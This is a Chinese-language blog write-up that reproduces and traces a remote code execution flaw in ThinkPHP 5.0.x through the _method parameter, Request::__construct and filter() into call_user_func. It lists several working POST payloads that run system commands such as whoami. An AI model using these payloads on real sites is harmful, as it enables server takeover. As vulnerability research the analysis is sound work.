Thinkphp5.0.1x RCE 分析复现

    科技2025-06-25  6

    文章目录

    闲扯:安装:复现:开始分析:

    闲扯:

             一拖再拖的我- -总是不想去接触框架,因为感觉跳来跳去的好麻烦- -不过总归还是要走上这条路的,那就亮剑吧。

             这一次,是唯一一次没有看别人文章,自己分析CVE的一次,而且我的调试插件还出了问题,只能跟踪半分钟= =只能靠var_dump大法了。

             最真实的手动跟踪,可能会误人子弟,但是真的很真实了= =假如从头到尾,每个函数都跟踪进入看一看的话,说不定不需要我这么麻烦。

             欢迎大家关注小菜鸡的公众号哇,“不爱吃韭菜的韭菜”,虽然都是从我的csdn转载过去= =但是我感觉微信的排版好看一点,而且在手机上看方便一些。(俺的公众号绝对永不开通流量主,不赚钱只分享)

    安装:

    下载链接:(thinkphp5.0.12) http://www.thinkphp.cn/down/1079.html phpstudy,php7.3.4的环境。

    复现:

    先找到payload,看能不能打成功再说。

    代码执行的payload: post:/public/index.php?s=index/index data: _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

    RCE payload有挺多的:

    _method=filter&c=system&f=whoami _method=__construct&method=GET&filter[]=system&get[]=whoami _method=__construct&method=POST&filter[]=system&s=whoami

    但是发现每条都是这个鬼样子,wtf?

    这里是因为disable_function里面禁用了system函数= =我们还要自己改php.ini文件= =

    这里说明一下,假如创建站点的时候使用了生产环境: php的版本环境后面会默认跟上一个p,那么和普通的有啥不同呢?看了下disable_function,发现普通环境的是空的,生产环境是禁用了一大堆:

    把平常要用的几个函数删掉,然后重启apache,可以了:

    开始分析:

    先从最简单的一条payload开始:

    _method=filter&c=system&f=whoami

    先看下漏洞触发点:

    thinkphp\library\think\Request.php 1065行 是call_user_func导致的。

    然后根据函数名,查找全局使用:

    只有2个= =cookie还是显示灰色的,说明该文件里没有被使用,那就是input函数了:

    thinkphp\library\think\Request.php 1011行

    然后再根据input函数查找使用,发现有点多= =往上再套娃的话会更多:

    那就从正向再开始,到时候对接一下:

    这里建议跟着调试走,自己眼睛看得看死个人,安装一个调试插件xdebug,我的有点问题- -调试时间太长会断掉,有时间弄一下。

    (补)

    后来我找到方法,解决超时500问题了,打开phpstudy这个部分:

    点进去要调试的站点,加上这一句:

    我设置成了3600秒。

    跟踪结果:(有好几条路,反正都会进入input()函数)

    public\index.php=》包含start.php文件 thinkphp\start.php=》执行run()函数 thinkphp\library\think\App.php run() =》 124行跳转 thinkphp\library\think\App.php exec() =》296行跳转 thinkphp\library\think\App.php module() =》 411行跳转 thinkphp\library\think\App.php invokeMethod() =》 194行跳转 thinkphp\library\think\App.php bindParams() =》 234行跳转 thinkphp\library\think\Request.php param() =》 624行跳转 thinkphp\library\think\Request.php post() =》 705行跳转 thinkphp\library\think\Request.php input() 1007行的array_walk_recursive()函数 =》 thinkphp\library\think\Request.php filterValue()=》 1065行:执行call_user_func()

    数据流还算清晰- -大多数都是比较正常普通的流程,也没有太多专门去绕过一些限制,所以中间的具体过程就不细说了,最后在call_user_func触发。 这么多跟踪,而且在里面穿插了很多不必要的函数和跳转,我肯定懒得全部看完= =注意payload里面的特殊点,_method=filter,我们删掉它,再跟踪一次,发现了区别: 在thinkphp\library\think\Request.php input()函数,1007行部分,我们输出var_dump($data),发现两次的值是不一样的:

    (1) (2)

    那说明问题出在了array_walk_recursive()函数上面:

    (其实并不是,有没有_method=filter都会对$data进行unset)

    没听过array_walk_recursive()函数,查一下:

    懂了,$data是遍历的数组:

    [$this,‘filterValue’]代表执行的函数是当前类的filterValue函数

    $filter是参数;

    那现在的主要任务就是把这一大段函数看懂了:

    先是调用了array_pop()函数:

    输出大法启动:

    也就是把之前数组中,最后的那个null去掉了,没啥大事,继续往下:

    然后进入了foreach语句,继续输出大法:

    这里这么混乱,是因为调用了好几次这个函数,但是可以看到,只有第三次是可以成功执行的。

    我再来一次输出,就好理解了:

    这就是3次执行该函数的情况,第一行的system代表的是值,作为call_user_func的第二个参数,

    然后遍历下面的数组,数组内容作为call_user_func的第一个参数。

    很容易知道,在第二次进入该函数的时候,会成功执行payload。

    在这里出现的is_callable就是检查这个函数能不能被调用而已:

    假如我们删掉 _method=filter呢?

    what?数组不见了?

    回到array_walk_recursive()函数旁边,再输出一下:

    比较一下:

    (1)

    (2)

    那么找到了,就是getFilter()搞得鬼:

    在thinkphp\library\think\Request.php 1034行:

    输出一下就能发现,是在1040行对$filter做了手脚,我们搜索一下哪些地方对$this->filter进行了操作,找到了1025行的filter()函数:

    两次输出对比一下:

    (1)

    (2)

    结果就是,如果不加上_method=filter的话,就只会调用第一次filter函数,但是可以看到,第二次才会赋值我们的payload。

    查找使用,只有一处使用了,我们又回到了

    thinkphp\library\think\App.php run()函数 87行

    (正常正常,我们的利用过程已经走完了,现在是回溯找原因的时候)

    但是这里的run()函数只执行了一次,这个第二次到底从何而来?

    我们猜测一下,_method=filter,而这个filter正是我们现在在研究的函数名,可能就是动态调用函数了。

    我们之前说过,传_method=filter会执行2次filter函数,不传只有一次。

    当我们在唯一一次调用filter()函数的后面,进行一次输出时,发现yyy输出在两侧,说明第二次调用filter在输出的后面:

    那么我们在exec()前面输出一次:

    证明了什么?证明了第二次执行filter函数,是在87行filter和122行exec之间!我们就可以少跟踪很多函数。

    首先这两个部分一看就感觉不是= =

    这一块大大的可能:

    跟进routeCheck()函数,来到当前文件的534行:

    因为我已经找到了,所以中间多余的就不看了,直接来到563行:

    进行了路由检测,跟进去:

    thinkphp\library\think\Route.php 836行:

    在checkRouteAlias前面插入一句输出,发现并没有调用到这里,那就往下看:

    跟进method()方法里,来到thinkphp\library\think\Request.php 501行:

    重点就是这里了,首先通过输出大法,判断了一下,无论传不传_method=filter都会进入到这个函数2次,所以直接看内容:

    进入函数的时候没有传参,而$method默认是false,所以进入elseif:

    这里先是进入了get函数,跟进一下,thinkphp\library\think\Config.php 101行:

    输出一下,发现我们无论传不传_method=filter,都是同样的结果,那就没必要跟进去了:

    然后接下来就是取 $_POST[_method],并转换为大写,然后动态执行:

    因为前面有个$this->,所以也不能直接eval,需要利用这个类下的其他函数,所以filter函数的第二个执行点我们已经找到了,完工。

    整理一下:

    全军出击:

    public\index.php=》包含start.php文件 thinkphp\start.php=》执行run()函数 thinkphp\library\think\App.php run()

    然后兵分三路:

    上路:(执行filter()函数,为了给$this->filter赋值)

    thinkphp\library\think\App.php run() =》 107行跳转 thinkphp\library\think\App.php routeCheck() =》 564行跳转 thinkphp\library\think\Route.php check() =》 848行跳转 thinkphp\library\think\Request.php method() 509行动态执行filter函数。

    下路:(执行call_user_func函数)

    thinkphp\library\think\App.php run() =》 124行跳转 thinkphp\library\think\App.php exec() =》296行跳转 thinkphp\library\think\App.php module() =》 411行跳转 thinkphp\library\think\App.php invokeMethod() =》 194行跳转 thinkphp\library\think\App.php bindParams() =》 234行跳转 thinkphp\library\think\Request.php param() =》 624行跳转 thinkphp\library\think\Request.php post() =》 705行跳转 thinkphp\library\think\Request.php input() 1007行的array_walk_recursive()函数 =》 thinkphp\library\think\Request.php filterValue()=》 1065行:执行call_user_func()

    至此第一个最简单的payload已经看完了。

    嗯嗯嗯?中路呢?我,21段中路法王。hhhc。

    再看看另外几个payload:(这里测试的时候发现,网上的那些payload ,其实method=POST、method=GET是可以去掉的,而且filter也没必要是数组)

    _method=__construct&method=GET&filter[]=call_user_func&get[]=phpinfo _method=__construct&method=GET&filter[]=system&get[]=whoami _method=__construct&method=POST&filter[]=system&s=whoami

    几乎是一样的啊,那就拿第二条开刀,

    这个payload很有意思,会执行2次:

    这里的_method换成了__construct,跟过去看一下:

    thinkphp\library\think\Request.php 130行

    先输出大法看看$options的内容:

    发现又是第二次才会有我们的payload,然后继续看,下面就是遍历数组,然后调用property_exists()函数:

    就是检查当前__construct所在的Request类,有没有_method、method、filter、get属性,

    输出一下检查结果,也可以往上翻,在文件开头的初始化定义,对比一下:

    可以看到除了_method,其他三个都在,然后给类的属性赋值。

    然后后面的一部分,没什么好说的,不是很重要。

    再看看我们的payload:(我已经把多余的去掉了)

    _method=__construct&filter=system&get[]=whoami

    我们回到call_user_func附近,输出大法看看:

    这次的遍历,成功了两次,所以执行了两次。

    换一个payload:

    _method=__construct&filter=system&s=whoami

    OVER。。。。。

    没有调试插件,几乎是全手动跟踪,看参数值也是全靠var_dump,真的会误人子弟的啊,修插件的话,下次一定。

    Processed: 0.017, SQL: 8